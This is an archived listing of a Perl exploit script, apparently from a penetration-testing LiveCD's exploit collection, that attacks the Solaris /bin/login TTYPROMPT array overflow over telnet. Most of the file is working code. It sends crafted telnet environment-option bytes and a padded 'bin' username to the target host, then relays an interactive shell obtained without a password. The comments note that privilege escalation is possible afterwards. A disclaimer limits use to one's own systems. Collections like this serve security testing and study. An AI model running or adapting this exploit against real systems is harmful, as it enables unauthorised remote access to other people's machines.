home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / login.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  118 lines

  1. #!/usr/bin/perl
  2. #
  3. #  Date: 09/01/2003
  4. #  Author: snooq [http://www.angelfire.com/linux/snooq/]
  5. #
  6. #  I coded this script to demo how to login to a Solaris box without
  7. #  password as 'bin'. Nothing new, it's an old bug which dates back 
  8. #  to Dec 2001.
  9. #  And, there are already several versions of exploits circulating 
  10. #  in the wild for at least a year now. 
  11. #  
  12. #  Due to uninformed/incompetent/ignorant sysadmins, there are still 
  13. #  quite a number of vulnerable machines out there.
  14. #  
  15. #  'root' remote login is not allowed by defaut. So, unless, it's
  16. #  a misconfigured box, you can only go as high as 'bin'. However,
  17. #  once you are dropped into a shell, further priviledge escalation is
  18. #  very possible.
  19. #
  20. #  Background info
  21. #  ===============
  22. #  From http://www.mail-archive.com/bugtraq@securityfocus.com/msg09281.html
  23. #
  24. #  [quote]
  25. #  The problem is there exists an authentication flag called the "fflag" 
  26. #  just after the array that gets overflowed in the .bss segment. This is
  27. #  an array of char pointers so when it is overflowed because of an
  28. #  mismanagement on the indexing of this array the fflag gets overwritten
  29. #  with an valid address on .bss segment. this is good enough to satify 
  30. #  the if(fflag) condition and spawn a shell.
  31. #  [/quote]
  32. #
  33. #  For more info about this bug, go to:
  34. #  http://www.cert.org/advisories/CA-2001-34.html
  35. #
  36. #  Disclaimer
  37. #  ==========
  38. #  This is meant for you to do a quick check own your systems only.
  39. #  The author shall not be held responsible for any illegal use 
  40. #  of this code. 
  41. #
  42. #  -> some asked 'why code another one?' 
  43. #  I'm bored.. I guess.... been using other ppl's tools... it's time 
  44. #  to write my own.. so that I have a reason to feel proud too... 
  45. #  
  46. #  -> again, some asked 'why not in C?'
  47. #  ok... I'm lame.. my C sucks... my Perl sucks too...
  48. #  I'm not a professional programmer anyway... =p
  49. #
  50. #  As usual, any comments or flames, go to jinyean at hotmail.com
  51. #
  52. use Socket;
  53. use FileHandle;
  54.  
  55. if ($ARGV[0] eq '') {
  56.     print "Usage: $0 <host>\n";
  57.     exit;
  58. }
  59.  
  60. $payload="\xff\xfc\x18"        # Won't terminal type
  61.     ."\xff\xfc\x1f"        # Won't negotiate window size
  62.     ."\xff\xfc\x21"        # Won't remote flow control
  63.     ."\xff\xfc\x23"        # Won't    X display location
  64.     ."\xff\xfb\x22"        # Will linemode    
  65.     ."\xff\xfc\x24"        # Won't environment option
  66.     ."\xff\xfb\x27"        # Will new environment option    
  67.     ."\xff\xfb\x00"        # Will binary transmission
  68.     ."\xff\xfa\x27\x00"    # My new environ option
  69.     ."\x00\x54\x54\x59\x50\x52\x4f\x4d\x50\x54"    # 'TTYPROMPT'
  70.     ."\x01\x61\x62\x63\x64\x65\x66"            # 'abcdef', any 6 chars will do
  71.     ."\xff\xf0";        # Suboption end
  72. $port=23;
  73. $user="bin";            # You may change this to another user
  74. $addr=getaddr($ARGV[0]);
  75.  
  76. for ($i;$i<65;$i++) {
  77.     $user.=" c";        # Again, any char will do
  78. }
  79.  
  80. socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
  81. connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";
  82.  
  83. print "/bin/login array mismanagment exploit by snooq (jinyean\@hotmail.com)\n";
  84. print "Connected. Wait for a shell....\n";
  85.  
  86. SOCKET->autoflush();
  87.  
  88. $pid=fork;
  89.  
  90. if ($pid) {            # Parent reads    
  91.     send(SOCKET, $payload, 0);
  92.     send(SOCKET, "$user\n", 0);
  93.     read(SOCKET,$buff,69);    # Read the garbage
  94.     while (<SOCKET>) {;
  95.                print STDOUT $_;
  96.         }
  97. }
  98. else {                # Child sends
  99.     print SOCKET while (<STDIN>);
  100.     close SOCKET;
  101. }
  102. exit;
  103.  
  104. sub getaddr {
  105.  
  106.     my $host=($_[0]);
  107.     my $n=$host;
  108.     $n=~tr/\.//d;
  109.  
  110.     if ($n=~m/\d+/) {
  111.         return pack('C4',split('\.',$host));
  112.     }
  113.     else {
  114.         return (gethostbyname($host))[4];
  115.     }
  116. }
  117.